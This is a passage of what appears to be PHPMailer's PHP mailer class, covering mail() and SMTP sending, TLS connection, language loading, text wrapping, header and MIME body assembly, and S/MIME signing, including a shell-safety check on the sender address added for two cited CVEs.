!== $string\n or !in_array(escapeshellarg($string), array(\"'$string'\", \"\\\"$string\\\"\"))\n ) {\n return false;\n }\n\n $length = strlen($string);\n\n for ($i = 0; $i < $length; $i++) {\n $c = $string[$i];\n\n \/\/ All other characters have a special meaning in at least one common shell, including = and +.\n \/\/ Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.\n \/\/ Note that this does permit non-Latin alphanumeric characters based on the current locale.\n if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {\n return false;\n }\n }\n\n return true;\n }\n\n \/**\n * Check whether a file path is of a permitted type.\n * Used to reject URLs and phar files from functions that access local file paths,\n * such as addAttachment.\n * @param string $path A relative or absolute path to a file.\n * @return bool\n *\/\n protected static function isPermittedPath($path)\n {\n return !preg_match('#^[a-z]+:\/\/#i', $path);\n }\n\n \/**\n * Send mail using the PHP mail() function.\n * @param string $header The message headers\n * @param string $body The message body\n * @link http:\/\/www.php.net\/manual\/en\/book.mail.php\n * @throws phpmailerException\n * @access protected\n * @return boolean\n *\/\n protected function mailSend($header, $body)\n {\n $toArr = array();\n foreach ($this->to as $toaddr) {\n $toArr[] = $this->addrFormat($toaddr);\n }\n $to = implode(', ', $toArr);\n\n $params = null;\n \/\/This sets the SMTP envelope sender which gets turned into a return-path header by the receiver\n if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n \/\/ CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.\n if (self::isShellSafe($this->Sender)) {\n $params = sprintf('-f%s', $this->Sender);\n }\n }\n if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {\n $old_from = ini_get('sendmail_from');\n ini_set('sendmail_from', $this->Sender);\n }\n $result = false;\n if ($this->SingleTo and count($toArr) > 1) {\n foreach ($toArr as $toAddr) {\n $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);\n $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n }\n } else {\n $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);\n $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n }\n if (isset($old_from)) {\n ini_set('sendmail_from', $old_from);\n }\n if (!$result) {\n throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);\n }\n return true;\n }\n\n \/**\n * Get an instance to use for SMTP operations.\n * Override this function to load your own SMTP implementation\n * @return SMTP\n *\/\n public function getSMTPInstance()\n {\n if (!is_object($this->smtp)) {\n $this->smtp = new SMTP;\n }\n return $this->smtp;\n }\n\n \/**\n * Send mail via SMTP.\n * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.\n * Uses the PHPMailerSMTP class by default.\n * @see PHPMailer::getSMTPInstance() to use a different class.\n * @param string $header The message headers\n * @param string $body The message body\n * @throws phpmailerException\n * @uses SMTP\n * @access protected\n * @return boolean\n *\/\n protected function smtpSend($header, $body)\n {\n $bad_rcpt = array();\n if (!$this->smtpConnect($this->SMTPOptions)) {\n throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);\n }\n if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n $smtp_from = $this->Sender;\n } else {\n $smtp_from = $this->From;\n }\n if (!$this->smtp->mail($smtp_from)) {\n $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));\n throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);\n }\n\n \/\/ Attempt to send to all recipients\n foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {\n foreach ($togroup as $to) {\n if (!$this->smtp->recipient($to[0])) {\n $error = $this->smtp->getError();\n $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);\n $isSent = false;\n } else {\n $isSent = true;\n }\n $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);\n }\n }\n\n \/\/ Only send the DATA command if we have viable recipients\n if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {\n throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);\n }\n if ($this->SMTPKeepAlive) {\n $this->smtp->reset();\n } else {\n $this->smtp->quit();\n $this->smtp->close();\n }\n \/\/Create error message for any bad addresses\n if (count($bad_rcpt) > 0) {\n $errstr = '';\n foreach ($bad_rcpt as $bad) {\n $errstr .= $bad['to'] . ': ' . $bad['error'];\n }\n throw new phpmailerException(\n $this->lang('recipients_failed') . $errstr,\n self::STOP_CONTINUE\n );\n }\n return true;\n }\n\n \/**\n * Initiate a connection to an SMTP server.\n * Returns false if the operation failed.\n * @param array $options An array of options compatible with stream_context_create()\n * @uses SMTP\n * @access public\n * @throws phpmailerException\n * @return boolean\n *\/\n public function smtpConnect($options = null)\n {\n if (is_null($this->smtp)) {\n $this->smtp = $this->getSMTPInstance();\n }\n\n \/\/If no options are provided, use whatever is set in the instance\n if (is_null($options)) {\n $options = $this->SMTPOptions;\n }\n\n \/\/ Already connected?\n if ($this->smtp->connected()) {\n return true;\n }\n\n $this->smtp->setTimeout($this->Timeout);\n $this->smtp->setDebugLevel($this->SMTPDebug);\n $this->smtp->setDebugOutput($this->Debugoutput);\n $this->smtp->setVerp($this->do_verp);\n $hosts = explode(';', $this->Host);\n $lastexception = null;\n\n foreach ($hosts as $hostentry) {\n $hostinfo = array();\n if (!preg_match(\n '\/^((ssl|tls):\\\/\\\/)*([a-zA-Z0-9\\.-]*|\\[[a-fA-F0-9:]+\\]):?([0-9]*)$\/',\n trim($hostentry),\n $hostinfo\n )) {\n \/\/ Not a valid host entry\n $this->edebug('Ignoring invalid host: ' . $hostentry);\n continue;\n }\n \/\/ $hostinfo[2]: optional ssl or tls prefix\n \/\/ $hostinfo[3]: the hostname\n \/\/ $hostinfo[4]: optional port number\n \/\/ The host string prefix can temporarily override the current setting for SMTPSecure\n \/\/ If it's not specified, the default value is used\n $prefix = '';\n $secure = $this->SMTPSecure;\n $tls = ($this->SMTPSecure == 'tls');\n if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {\n $prefix = 'ssl:\/\/';\n $tls = false; \/\/ Can't have SSL and TLS at the same time\n $secure = 'ssl';\n } elseif ($hostinfo[2] == 'tls') {\n $tls = true;\n \/\/ tls doesn't use a prefix\n $secure = 'tls';\n }\n \/\/Do we need the OpenSSL extension?\n $sslext = defined('OPENSSL_ALGO_SHA1');\n if ('tls' === $secure or 'ssl' === $secure) {\n \/\/Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled\n if (!$sslext) {\n throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);\n }\n }\n $host = $hostinfo[3];\n $port = $this->Port;\n $tport = (integer)$hostinfo[4];\n if ($tport > 0 and $tport < 65536) {\n $port = $tport;\n }\n if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {\n try {\n if ($this->Helo) {\n $hello = $this->Helo;\n } else {\n $hello = $this->serverHostname();\n }\n $this->smtp->hello($hello);\n \/\/Automatically enable TLS encryption if:\n \/\/ * it's not disabled\n \/\/ * we have openssl extension\n \/\/ * we are not already using SSL\n \/\/ * the server offers STARTTLS\n if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {\n $tls = true;\n }\n if ($tls) {\n if (!$this->smtp->startTLS()) {\n throw new phpmailerException($this->lang('connect_host'));\n }\n \/\/ We must resend EHLO after TLS negotiation\n $this->smtp->hello($hello);\n }\n if ($this->SMTPAuth) {\n if (!$this->smtp->authenticate(\n $this->Username,\n $this->Password,\n $this->AuthType,\n $this->Realm,\n $this->Workstation\n )\n ) {\n throw new phpmailerException($this->lang('authenticate'));\n }\n }\n return true;\n } catch (phpmailerException $exc) {\n $lastexception = $exc;\n $this->edebug($exc->getMessage());\n \/\/ We must have connected, but then failed TLS or Auth, so close connection nicely\n $this->smtp->quit();\n }\n }\n }\n \/\/ If we get here, all connection attempts have failed, so close connection hard\n $this->smtp->close();\n \/\/ As we've caught all exceptions, just report whatever the last one was\n if ($this->exceptions and !is_null($lastexception)) {\n throw $lastexception;\n }\n return false;\n }\n\n \/**\n * Close the active SMTP session if one exists.\n * @return void\n *\/\n public function smtpClose()\n {\n if (is_a($this->smtp, 'SMTP')) {\n if ($this->smtp->connected()) {\n $this->smtp->quit();\n $this->smtp->close();\n }\n }\n }\n\n \/**\n * Set the language for error messages.\n * Returns false if it cannot load the language file.\n * The default language is English.\n * @param string $langcode ISO 639-1 2-character language code (e.g. French is \"fr\")\n * @param string $lang_path Path to the language file directory, with trailing separator (slash)\n * @return boolean\n * @access public\n *\/\n public function setLanguage($langcode = 'en', $lang_path = '')\n {\n \/\/ Backwards compatibility for renamed language codes\n $renamed_langcodes = array(\n 'br' => 'pt_br',\n 'cz' => 'cs',\n 'dk' => 'da',\n 'no' => 'nb',\n 'se' => 'sv',\n 'sr' => 'rs'\n );\n\n if (isset($renamed_langcodes[$langcode])) {\n $langcode = $renamed_langcodes[$langcode];\n }\n\n \/\/ Define full set of translatable strings in English\n $PHPMAILER_LANG = array(\n 'authenticate' => 'SMTP Error: Could not authenticate.',\n 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',\n 'data_not_accepted' => 'SMTP Error: data not accepted.',\n 'empty_message' => 'Message body empty',\n 'encoding' => 'Unknown encoding: ',\n 'execute' => 'Could not execute: ',\n 'file_access' => 'Could not access file: ',\n 'file_open' => 'File Error: Could not open file: ',\n 'from_failed' => 'The following From address failed: ',\n 'instantiate' => 'Could not instantiate mail function.',\n 'invalid_address' => 'Invalid address: ',\n 'mailer_not_supported' => ' mailer is not supported.',\n 'provide_address' => 'You must provide at least one recipient email address.',\n 'recipients_failed' => 'SMTP Error: The following recipients failed: ',\n 'signing' => 'Signing Error: ',\n 'smtp_connect_failed' => 'SMTP connect() failed.',\n 'smtp_error' => 'SMTP server error: ',\n 'variable_set' => 'Cannot set or reset variable: ',\n 'extension_missing' => 'Extension missing: '\n );\n if (empty($lang_path)) {\n \/\/ Calculate an absolute path so it can work if CWD is not here\n $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;\n }\n \/\/Validate $langcode\n if (!preg_match('\/^[a-z]{2}(?:_[a-zA-Z]{2})?$\/', $langcode)) {\n $langcode = 'en';\n }\n $foundlang = true;\n $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';\n \/\/ There is no English translation file\n if ($langcode != 'en') {\n \/\/ Make sure language file path is readable\n if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {\n $foundlang = false;\n } else {\n \/\/ Overwrite language-specific strings.\n \/\/ This way we'll never have missing translation keys.\n $foundlang = include $lang_file;\n }\n }\n $this->language = $PHPMAILER_LANG;\n return (boolean)$foundlang; \/\/ Returns false if language not found\n }\n\n \/**\n * Get the array of strings for the current language.\n * @return array\n *\/\n public function getTranslations()\n {\n return $this->language;\n }\n\n \/**\n * Create recipient headers.\n * @access public\n * @param string $type\n * @param array $addr An array of recipient,\n * where each recipient is a 2-element indexed array with element 0 containing an address\n * and element 1 containing a name, like:\n * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))\n * @return string\n *\/\n public function addrAppend($type, $addr)\n {\n $addresses = array();\n foreach ($addr as $address) {\n $addresses[] = $this->addrFormat($address);\n }\n return $type . ': ' . implode(', ', $addresses) . $this->LE;\n }\n\n \/**\n * Format an address for use in a message header.\n * @access public\n * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name\n * like array('joe@example.com', 'Joe User')\n * @return string\n *\/\n public function addrFormat($addr)\n {\n if (empty($addr[1])) { \/\/ No name provided\n return $this->secureHeader($addr[0]);\n } else {\n return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(\n $addr[0]\n ) . '>';\n }\n }\n\n \/**\n * Word-wrap message.\n * For use with mailers that do not automatically perform wrapping\n * and for quoted-printable encoded messages.\n * Original written by philippe.\n * @param string $message The message to wrap\n * @param integer $length The line length to wrap to\n * @param boolean $qp_mode Whether to run in Quoted-Printable mode\n * @access public\n * @return string\n *\/\n public function wrapText($message, $length, $qp_mode = false)\n {\n if ($qp_mode) {\n $soft_break = sprintf(' =%s', $this->LE);\n } else {\n $soft_break = $this->LE;\n }\n \/\/ If utf-8 encoding is used, we will need to make sure we don't\n \/\/ split multibyte characters when we wrap\n $is_utf8 = (strtolower($this->CharSet) == 'utf-8');\n $lelen = strlen($this->LE);\n $crlflen = strlen(self::CRLF);\n\n $message = $this->fixEOL($message);\n \/\/Remove a trailing line break\n if (substr($message, -$lelen) == $this->LE) {\n $message = substr($message, 0, -$lelen);\n }\n\n \/\/Split message into lines\n $lines = explode($this->LE, $message);\n \/\/Message will be rebuilt in here\n $message = '';\n foreach ($lines as $line) {\n $words = explode(' ', $line);\n $buf = '';\n $firstword = true;\n foreach ($words as $word) {\n if ($qp_mode and (strlen($word) > $length)) {\n $space_left = $length - strlen($buf) - $crlflen;\n if (!$firstword) {\n if ($space_left > 20) {\n $len = $space_left;\n if ($is_utf8) {\n $len = $this->utf8CharBoundary($word, $len);\n } elseif (substr($word, $len - 1, 1) == '=') {\n $len--;\n } elseif (substr($word, $len - 2, 1) == '=') {\n $len -= 2;\n }\n $part = substr($word, 0, $len);\n $word = substr($word, $len);\n $buf .= ' ' . $part;\n $message .= $buf . sprintf('=%s', self::CRLF);\n } else {\n $message .= $buf . $soft_break;\n }\n $buf = '';\n }\n while (strlen($word) > 0) {\n if ($length <= 0) {\n break;\n }\n $len = $length;\n if ($is_utf8) {\n $len = $this->utf8CharBoundary($word, $len);\n } elseif (substr($word, $len - 1, 1) == '=') {\n $len--;\n } elseif (substr($word, $len - 2, 1) == '=') {\n $len -= 2;\n }\n $part = substr($word, 0, $len);\n $word = substr($word, $len);\n\n if (strlen($word) > 0) {\n $message .= $part . sprintf('=%s', self::CRLF);\n } else {\n $buf = $part;\n }\n }\n } else {\n $buf_o = $buf;\n if (!$firstword) {\n $buf .= ' ';\n }\n $buf .= $word;\n\n if (strlen($buf) > $length and $buf_o != '') {\n $message .= $buf_o . $soft_break;\n $buf = $word;\n }\n }\n $firstword = false;\n }\n $message .= $buf . self::CRLF;\n }\n\n return $message;\n }\n\n \/**\n * Find the last character boundary prior to $maxLength in a utf-8\n * quoted-printable encoded string.\n * Original written by Colin Brown.\n * @access public\n * @param string $encodedText utf-8 QP text\n * @param integer $maxLength Find the last character boundary prior to this length\n * @return integer\n *\/\n public function utf8CharBoundary($encodedText, $maxLength)\n {\n $foundSplitPos = false;\n $lookBack = 3;\n while (!$foundSplitPos) {\n $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);\n $encodedCharPos = strpos($lastChunk, '=');\n if (false !== $encodedCharPos) {\n \/\/ Found start of encoded character byte within $lookBack block.\n \/\/ Check the encoded byte value (the 2 chars after the '=')\n $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);\n $dec = hexdec($hex);\n if ($dec < 128) {\n \/\/ Single byte character.\n \/\/ If the encoded char was found at pos 0, it will fit\n \/\/ otherwise reduce maxLength to start of the encoded char\n if ($encodedCharPos > 0) {\n $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n }\n $foundSplitPos = true;\n } elseif ($dec >= 192) {\n \/\/ First byte of a multi byte character\n \/\/ Reduce maxLength to split at start of character\n $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n $foundSplitPos = true;\n } elseif ($dec < 192) {\n \/\/ Middle byte of a multi byte character, look further back\n $lookBack += 3;\n }\n } else {\n \/\/ No encoded character found\n $foundSplitPos = true;\n }\n }\n return $maxLength;\n }\n\n \/**\n * Apply word wrapping to the message body.\n * Wraps the message body to the number of chars set in the WordWrap property.\n * You should only do this to plain-text bodies as wrapping HTML tags may break them.\n * This is called automatically by createBody(), so you don't need to call it yourself.\n * @access public\n * @return void\n *\/\n public function setWordWrap()\n {\n if ($this->WordWrap < 1) {\n return;\n }\n\n switch ($this->message_type) {\n case 'alt':\n case 'alt_inline':\n case 'alt_attach':\n case 'alt_inline_attach':\n $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);\n break;\n default:\n $this->Body = $this->wrapText($this->Body, $this->WordWrap);\n break;\n }\n }\n\n \/**\n * Assemble message headers.\n * @access public\n * @return string The assembled headers\n *\/\n public function createHeader()\n {\n $result = '';\n\n $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);\n\n \/\/ To be created automatically by mail()\n if ($this->SingleTo) {\n if ($this->Mailer != 'mail') {\n foreach ($this->to as $toaddr) {\n $this->SingleToArray[] = $this->addrFormat($toaddr);\n }\n }\n } else {\n if (count($this->to) > 0) {\n if ($this->Mailer != 'mail') {\n $result .= $this->addrAppend('To', $this->to);\n }\n } elseif (count($this->cc) == 0) {\n $result .= $this->headerLine('To', 'undisclosed-recipients:;');\n }\n }\n\n $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));\n\n \/\/ sendmail and mail() extract Cc from the header before sending\n if (count($this->cc) > 0) {\n $result .= $this->addrAppend('Cc', $this->cc);\n }\n\n \/\/ sendmail and mail() extract Bcc from the header before sending\n if ((\n $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'\n )\n and count($this->bcc) > 0\n ) {\n $result .= $this->addrAppend('Bcc', $this->bcc);\n }\n\n if (count($this->ReplyTo) > 0) {\n $result .= $this->addrAppend('Reply-To', $this->ReplyTo);\n }\n\n \/\/ mail() sets the subject itself\n if ($this->Mailer != 'mail') {\n $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));\n }\n\n \/\/ Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4\n \/\/ https:\/\/tools.ietf.org\/html\/rfc5322#section-3.6.4\n if ('' != $this->MessageID and preg_match('\/^<.*@.*>$\/', $this->MessageID)) {\n $this->lastMessageID = $this->MessageID;\n } else {\n $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());\n }\n $result .= $this->headerLine('Message-ID', $this->lastMessageID);\n if (!is_null($this->Priority)) {\n $result .= $this->headerLine('X-Priority', $this->Priority);\n }\n if ($this->XMailer == '') {\n $result .= $this->headerLine(\n 'X-Mailer',\n 'PHPMailer ' . $this->Version . ' (https:\/\/github.com\/PHPMailer\/PHPMailer)'\n );\n } else {\n $myXmailer = trim($this->XMailer);\n if ($myXmailer) {\n $result .= $this->headerLine('X-Mailer', $myXmailer);\n }\n }\n\n if ($this->ConfirmReadingTo != '') {\n $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');\n }\n\n \/\/ Add custom headers\n foreach ($this->CustomHeader as $header) {\n $result .= $this->headerLine(\n trim($header[0]),\n $this->encodeHeader(trim($header[1]))\n );\n }\n if (!$this->sign_key_file) {\n $result .= $this->headerLine('MIME-Version', '1.0');\n $result .= $this->getMailMIME();\n }\n\n return $result;\n }\n\n \/**\n * Get the message MIME type headers.\n * @access public\n * @return string\n *\/\n public function getMailMIME()\n {\n $result = '';\n $ismultipart = true;\n switch ($this->message_type) {\n case 'inline':\n $result .= $this->headerLine('Content-Type', 'multipart\/related;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n case 'attach':\n case 'inline_attach':\n case 'alt_attach':\n case 'alt_inline_attach':\n $result .= $this->headerLine('Content-Type', 'multipart\/mixed;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n case 'alt':\n case 'alt_inline':\n $result .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n default:\n \/\/ Catches case 'plain': and case '':\n $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);\n $ismultipart = false;\n break;\n }\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($this->Encoding != '7bit') {\n \/\/ RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE\n if ($ismultipart) {\n if ($this->Encoding == '8bit') {\n $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');\n }\n \/\/ The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible\n } else {\n $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);\n }\n }\n\n if ($this->Mailer != 'mail') {\n $result .= $this->LE;\n }\n\n return $result;\n }\n\n \/**\n * Returns the whole MIME message.\n * Includes complete headers and body.\n * Only valid post preSend().\n * @see PHPMailer::preSend()\n * @access public\n * @return string\n *\/\n public function getSentMIMEMessage()\n {\n return rtrim($this->MIMEHeader . $this->mailHeader, \"\\n\\r\") . self::CRLF . self::CRLF . $this->MIMEBody;\n }\n\n \/**\n * Create unique ID\n * @return string\n *\/\n protected function generateId() {\n return md5(uniqid(time()));\n }\n\n \/**\n * Assemble the message body.\n * Returns an empty string on failure.\n * @access public\n * @throws phpmailerException\n * @return string The assembled message body\n *\/\n public function createBody()\n {\n $body = '';\n \/\/Create unique IDs and preset boundaries\n $this->uniqueid = $this->generateId();\n $this->boundary[1] = 'b1_' . $this->uniqueid;\n $this->boundary[2] = 'b2_' . $this->uniqueid;\n $this->boundary[3] = 'b3_' . $this->uniqueid;\n\n if ($this->sign_key_file) {\n $body .= $this->getMailMIME() . $this->LE;\n }\n\n $this->setWordWrap();\n\n $bodyEncoding = $this->Encoding;\n $bodyCharSet = $this->CharSet;\n \/\/Can we do a 7-bit downgrade?\n if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {\n $bodyEncoding = '7bit';\n \/\/All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n $bodyCharSet = 'us-ascii';\n }\n \/\/If lines are too long, and we're not already using an encoding that will shorten them,\n \/\/change to quoted-printable transfer encoding for the body part only\n if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {\n $bodyEncoding = 'quoted-printable';\n }\n\n $altBodyEncoding = $this->Encoding;\n $altBodyCharSet = $this->CharSet;\n \/\/Can we do a 7-bit downgrade?\n if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {\n $altBodyEncoding = '7bit';\n \/\/All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n $altBodyCharSet = 'us-ascii';\n }\n \/\/If lines are too long, and we're not already using an encoding that will shorten them,\n \/\/change to quoted-printable transfer encoding for the alt body part only\n if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {\n $altBodyEncoding = 'quoted-printable';\n }\n \/\/Use this as a preamble in all multipart message types\n $mimepre = \"This is a multi-part message in MIME format.\" . $this->LE . $this->LE;\n switch ($this->message_type) {\n case 'inline':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[1]);\n break;\n case 'attach':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'inline_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'alt':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n if (!empty($this->Ical)) {\n $body .= $this->getBoundary($this->boundary[1], '', 'text\/calendar; method=REQUEST', '');\n $body .= $this->encodeString($this->Ical, $this->Encoding);\n $body .= $this->LE . $this->LE;\n }\n $body .= $this->endBoundary($this->boundary[1]);\n break;\n case 'alt_inline':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->endBoundary($this->boundary[1]);\n break;\n case 'alt_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->endBoundary($this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'alt_inline_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->textLine('--' . $this->boundary[2]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[3] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[3]);\n $body .= $this->LE;\n $body .= $this->endBoundary($this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n default:\n \/\/ Catch case 'plain' and case '', applies to simple `text\/plain` and `text\/html` body content types\n \/\/Reset the `Encoding` property in case we changed it for line length reasons\n $this->Encoding = $bodyEncoding;\n $body .= $this->encodeString($this->Body, $this->Encoding);\n break;\n }\n\n if ($this->isError()) {\n $body = '';\n } elseif ($this->sign_key_file) {\n try {\n if (!defined('PKCS7_TEXT')) {\n throw new phpmailerException($this->lang('extension_missing') . 'openssl');\n }\n \/\/ @TODO would be nice to use php:\/\/temp streams here, but need to wrap for PHP < 5.1\n $file = tempnam(sys_get_temp_dir(), 'mail');\n if (false === file_put_contents($file, $body)) {\n throw new phpmailerException($this->lang('signing') . ' Could not write temp file');\n }\n $signed = tempnam(sys_get_temp_dir(), 'signed');\n \/\/Workaround for PHP bug https:\/\/bugs.php.net\/bug.php?id=69197\n if (empty($this->sign_extracerts_file)) {\n $sign = @openssl_pkcs7_sign(\n $file,\n $signed,\n 'file:\/\/' . realpath($this->sign_cert_file),\n array('file:\/\/' . realpath($this->sign_key_file), $this->sign_key_pass),\n null\n );\n } else {\n $sign = @openssl_pkcs7_sign(\n $file,\n $signed,\n 'file:\/\/' . realpath($this->sign_cert_file),\n array('file:\/\/' . realpath($this->sign_key_file), $this->sign_key_pass),\n null,\n PKCS7_DETACHED,\n $this->sign_extracerts_file\n );\n }\n if ($sign) {\n @unlink($file);\n $body = file_get_contents($signed);\n @unlink($signed);\n \/\/The message returned by openssl contains both headers and body, so need to split them up\n $parts = explode(\"\\n\\n\", $body, 2);\n $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;\n $body = $parts[1];\n } else {\n @unlink($file);\n @unlink($signed);\n throw new phpmailerException($this->lang('signing') . openssl_error_string());\n }\n } catch (phpmailerException $exc) {\n $body = '';\n if ($this->exceptions) {\n throw $exc;\n }\n }\n }\n return $body;\n }\n\n \/**\n * Return the start of a message boundary.\n * @access protected\n * @param string $boundary\n * @param string $charSet\n * @param string $contentType\n * @param string $encoding\n * @return string\n *\/\n protected function getBoundary($boundary, $charSet, $contentType, $encoding)\n {\n $result = '';\n if ($charSet == '') {\n $charSet = $this->CharSet;\n }\n if ($contentType == '') {\n $contentType = $this->ContentType;\n }\n if ($encoding == '') {\n $encoding = $this->Encoding;\n }\n $result .= $this->textLine('--' . $boundary);\n $result .= sprintf('Content-Type: %s; charset=%s', $contentType, 